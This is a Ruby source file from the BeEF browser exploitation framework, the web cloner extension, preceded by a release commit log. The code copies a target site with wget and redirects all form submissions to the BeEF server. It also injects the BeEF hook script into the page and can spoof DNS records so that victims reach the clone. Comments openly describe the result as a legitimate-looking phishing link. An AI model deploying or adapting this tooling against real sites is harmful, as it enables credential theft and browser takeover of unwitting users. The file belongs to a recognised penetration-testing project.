Files
beef/extensions/social_engineering/web_cloner/web_cloner.rb
wheatley b6425e4a90 Release 0.5.2.0 (#2166)
* fixed offline zombie not deleting

* Bump jsdoc-to-markdown from 6.0.1 to 7.0.1 (#2161)

Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 6.0.1 to 7.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v6.0.1...v7.0.1)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* Bug: Core - 1785 Fixed public hook url configuration settings (#2163)

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* created command spec file

* add before statement to load all enabled modules to test command class

* add spec to check if configuration instance exists by setting and accessing a config variable

* updated http proto for beef host

* reverting changes on this file, dev values set

* removed some unessessary checks

* fixed grammar test now we're only testing one configuration attribute

* added hook url for contextual usage

* refactoring admin_ui with new code usage

* fixed issue with the location of the beef.http.https.public_enabled

* refactored powershell module and extension

* adding the new config setting for public https beign enabled

* refactor qrcode extension

* replace video fake plugin refactor

* social engineering refactoring

* phonegap module refactoring

* exploit refactoing

* network module refactoing

* ipec module refactoring

* host module refactoring

* debug refactoring

* browser refactoring

* social engineering extension refactoring

* core main server refactoring

* core main console banner refactoring

* removing dev test

* fixed area with location of http.https.enabled

* changed the hook url definition to return the hook file path

* updated banners to use new configuration getters

* updated extensions and modules with the hook url change

* added new public.host configuration settings and validations for depicated usage of public

* updated to use public.port configuration

* added validation for old configuration public_port

* updated to use public https configuration setting

* updated config with new settings format

* fixed get to point to new locations

* fixed pointer to hook_file_path

* Update extensions/social_engineering/web_cloner/web_cloner.rb

Co-authored-by: bcoles <bcoles@gmail.com>

* updated enabled to enable

* making sure default configuration file does not have preset values

Co-authored-by: bcoles <bcoles@gmail.com>

* bumped versions to 0.5.2.0

* Usability: #2145. Added user input request for beef update within 'beef' install script (#2162)

* added user input request for beef update

* swaped git pull from system to backticks

* flags added for auto update and timout to input

* updated install.txt to reference the update-beef script (#2160)

Co-authored-by: Andrew Wheatley <a@andrews-mini.home>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: bcoles <bcoles@gmail.com>
2021-09-12 21:33:02 +10:00

219 lines
8.9 KiB
Ruby

#
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module SocialEngineering
class WebCloner
require 'socket'
include Singleton
def initialize
@http_server = BeEF::Core::Server.instance
@config = BeEF::Core::Configuration.instance
@cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/"
@beef_hook = "#{@config.hook_url}"
end
def clone_page(url, mount, use_existing, dns_spoof)
print_info "Cloning page at URL #{url}"
uri = URI(url)
output = uri.host
output_mod = "#{output}_mod"
user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent')
success = false
# Sometimes pages use Javascript/custom logic to submit forms. In these cases even having a powerful parser,
# there is no need to implement the complex logic to handle all different cases.
# We want to leave the task to modify the xxx_mod file to the BeEF user, and serve it through BeEF after modification.
# So ideally, if the the page needs custom modifications, the web_cloner usage will be the following:
# 1th request. {"uri":"http://example.com", "mount":"/"} <- clone the page, and create the example.com_mod file
# - the user modify the example.com_mod file manually
# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
#
if use_existing.nil? || use_existing == false
begin #,"--background"
cmd = ["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", '--read-timeout', '60', '--tries', '3']
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
cmd << "--no-check-certificate"
end
print_debug "Running command: #{cmd.join(' ')}"
IO.popen(cmd, 'r+') do |wget_io|
end
success = true
rescue Errno::ENOENT => e
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
rescue => e
print_error "Errors executing wget: #{e}"
end
if success
File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file|
File.open("#{@cloned_pages_dir + output}", 'r').each do |line|
# Modify the <form> line changing the action URI to / in order to be properly intercepted by BeEF
if line.include?("<form ") || line.include?("<FORM ")
line_attrs = line.split(" ")
c = 0
cc = 0
#todo: probably doable also with map!
# modify the form 'action' attribute
line_attrs.each do |attr|
if attr.include? "action=\""
print_info "Form action found: #{attr}"
break
end
c += 1
end
line_attrs[c] = "action=\"#{mount}\""
#todo: to be tested, needed in case like yahoo
# delete the form 'onsubmit' attribute
#line_attrs.each do |attr|
# if attr.include? "onsubmit="
# print_info "Form onsubmit event found: #{attr}"
# break
# end
# cc += 1
#end
#line_attrs[cc] = ""
mod_form = line_attrs.join(" ")
print_info "Form action value changed in order to be intercepted :-D"
out_file.print mod_form
# Add the BeEF hook
elsif (line.include?("</head>") || line.include?("</HEAD>")) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')
out_file.print add_beef_hook(line)
print_info "BeEF hook added :-D"
else
out_file.print line
end
end
end
end
end
if File.size("#{@cloned_pages_dir + output}") > 0
print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"
file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve
# if the user wants to clone http://a.com/login.jsp?cas=true&ciccio=false , split the URL mounting only the path.
# then the phishing link can be used anyway with all the proper parameters to looks legit.
if mount.include?("?")
mount = mount.split("?").first
print_info "Normalizing mount point. You can still use params for the phishing link."
end
# Check if the original URL can be framed
frameable = is_frameable(url)
interceptor = BeEF::Extension::SocialEngineering::Interceptor
interceptor.set :redirect_to, url
interceptor.set :frameable, frameable
interceptor.set :beef_hook, @beef_hook
interceptor.set :cloned_page, get_page_content(file_path)
interceptor.set :db_entry, persist_page(url, mount)
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
if dns_spoof
dns = BeEF::Extension::Dns::Server.instance
ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address
ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address
ipv6.gsub!(/%\w*$/, '')
domain = url.gsub(%r{^http://}, '')
dns.add_rule(
:pattern => domain,
:resource => Resolv::DNS::Resource::IN::A,
:response => ipv4
) unless ipv4.nil?
dns.add_rule(
:pattern => domain,
:resource => Resolv::DNS::Resource::IN::AAAA,
:response => ipv6
) unless ipv6.nil?
print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]"
end
print_info "Mounting cloned page on URL [#{mount}]"
@http_server.mount("#{mount}", interceptor.new)
@http_server.remap
success = true
else
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
success = false
end
success
end
private
# Replace </head> with <BeEF_hook></head>
def add_beef_hook(line)
if line.include?("</head>")
line.gsub!("</head>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
elsif line.gsub!("</HEAD>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
end
line
end
private
# check if the original URL can be framed. NOTE: doesn't check for framebusting code atm
def is_frameable(url)
result = true
begin
uri = URI(url)
http = Net::HTTP.new(uri.host, uri.port)
if uri.scheme == "https"
http.use_ssl = true
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
end
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
frame_opt = response["X-Frame-Options"]
if frame_opt != nil
if frame_opt.casecmp("DENY") == 0 || frame_opt.casecmp("SAMEORIGIN") == 0
result = false
end
end
print_info "Page can be framed: [#{result}]"
rescue => e
result = false
print_error "Unable to determine if page can be framed. Page can be framed: [#{result}]"
print_debug e
#print_debug e.backtrace
end
result
end
def get_page_content(file_path)
file = File.open(file_path, 'r')
cloned_page = file.read
file.close
cloned_page
end
def persist_page(uri, mount)
webcloner_db = BeEF::Core::Models::WebCloner.new(
:uri => uri,
:mount => mount
)
webcloner_db.save
webcloner_db
end
end
end
end
end